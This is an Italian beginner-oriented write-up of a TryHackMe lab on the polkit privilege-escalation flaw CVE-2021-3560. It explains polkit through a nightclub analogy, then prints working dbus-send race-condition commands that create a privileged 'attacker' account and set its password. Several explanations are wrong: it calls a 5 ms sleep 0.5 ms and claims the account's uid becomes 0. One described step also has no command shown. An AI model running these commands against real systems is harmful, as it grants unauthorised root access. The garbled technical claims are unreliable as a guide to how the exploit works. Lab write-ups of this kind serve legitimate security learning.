
write-up adatto ai principianti per il modulo di livello facile di TryHackMe - polkit:CVE-2021-3560
Per prima cosa controlleremo la versione di polkit per avere un quadro migliore.
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]
Ho usato deepseek per creare un'analogia semplice che ti aiuti a capire ancora meglio il concetto di policy kit.
Discoteca: Sistema Polkit
Discoteca (Area VIP): I servizi/azioni privilegiati di sistema (montaggio drive, installazione software, gestione rete)
Buttafuori alla porta: Polkit stesso, che intercetta tutti i tentativi di ingresso
Lista degli ospiti / Codice di abbigliamento: Regole delle policy di Polkit (salvate in /usr/share/polkit-1/actions/ e /etc/polkit-1/rules.d/)
Pass VIP / Membership del club: Essere in specifici gruppi Linux (come wheel, sudo, storage, network)
Controllo ID: Polkit che controlla l'identità dell'utente e l'appartenenza ai gruppi
Proprietario / Manager Root: utente (ha accesso illimitato a tutto)
Clienti abituali che cercano di entrare nell'area VIP: Utenti/programmi normali che cercano di eseguire comandi privilegiati
Buttafuori che consulta il regolamento: Polkit che controlla le policy configurate per quella specifica azione
Buttafuori che chiede braccialetto/password speciale: Prompt di autenticazione (richiesta della password)
Buttafuori che fa passare qualcuno senza controllare: Azione consentita senza autenticazione (per utenti/gruppi fidati)
polkit è il sudo di systemd
ora possiamo sfruttare questo buttafuori della discoteca con alcune richieste subdole per bypassare il controllo delle credenziali per le richieste dbus.
capiamo questo usando la stessa analogia di prima del buttafuori della discoteca.
diciamo che il processo normale è così: il buttafuori controlla i documenti, se la persona è abbastanza privilegiata per fare quel determinato compito, allora il buttafuori gli permette di passare. ma per sfruttarlo, l'attaccante invierà una richiesta finta al segretario del club dicendo "rendimi un manager del club con accesso completo". ora abbiamo 11 millisecondi prima che il messaggio raggiunga il segretario del club e ovviamente non accetterà questa richiesta. quindi dovremo cancellare la richiesta entro metà del tempo necessario per raggiungere il segretario, cioè 0.5 millisecondi. ora sottrarremo la nota che conteneva la richiesta di aumentare i nostri privilegi proprio prima che il buttafuori possa controllare chi l'ha inviata. la sottraiamo e il buttafuori non può dire chi l'ha fatto. ora la nota ha un numero univoco che ora è orfano. il numero univoco esiste nel sistema ma la nota originale è sparita. ora il protocollo predefinito per gestire questa situazione è che il buttafuori presumerà che il messaggio sia stato inviato dal proprietario del club, poiché il manuale lo dice. funziona più o meno così: il buttafuori chiede "ehi, chi ha inviato questo messaggio #12345?" il dbus-daemon guarda nei suoi registri e dice "ho il tracciamento del #12345 nel mio log ma non riesco a trovare il messaggio vero...ERROR" quindi invece di dire che non so chi l'ha inviato, il dbus-daemon restituisce un codice di errore. il manuale di addestramento del buttafuori ha un bug. il manuale dice che se non sai chi ha inviato un determinato messaggio e ottieni un errore nel controllo dell'ID, allora presume che provenga dal Proprietario del Club (uid 0). il buttafuori dice al segretario del club che questo messaggio viene dal proprietario del club, anche se è solo un proxy, il segretario lo approva e poi il segretario del club crea un nuovo account di manager del club per l'attaccante. ora l'attaccante ha privilegi pari a quelli dell'utente root.
ora vediamo i comandi che ci daranno immediatamente un utente di nome attacker con la password Expl01ted. quindi iniziamo con i comandi:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
questo comando creerà un utente di nome attacker. ci ritiriamo subito dopo 0.5 millisecondi per impedire che il messaggio venga letto dal buttafuori (polkit). l'utente attacker non ha ancora alcuna credenziale di root.
per dare all'utente attacker i tanto necessari privilegi di root useremo il comando:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
id attacker
ora possiamo vedere che l'uid dell'utente attacker è 1000.
qui aggiungiamo l'id utente dell'utente attacker originale che non aveva privilegi. questo garantirà che l'id dell'utente attacker passi da 1000 a 0.
id attacker
ora possiamo vedere che l'uid dell'utente attacker è cambiato da 1000 a 0, il che significa che siamo nel gruppo dell'utente root con i massimi privilegi. possiamo eseguire direttamente comandi come root da qui oppure possiamo semplicemente passare a una shell di root, come preferisci.
sudo su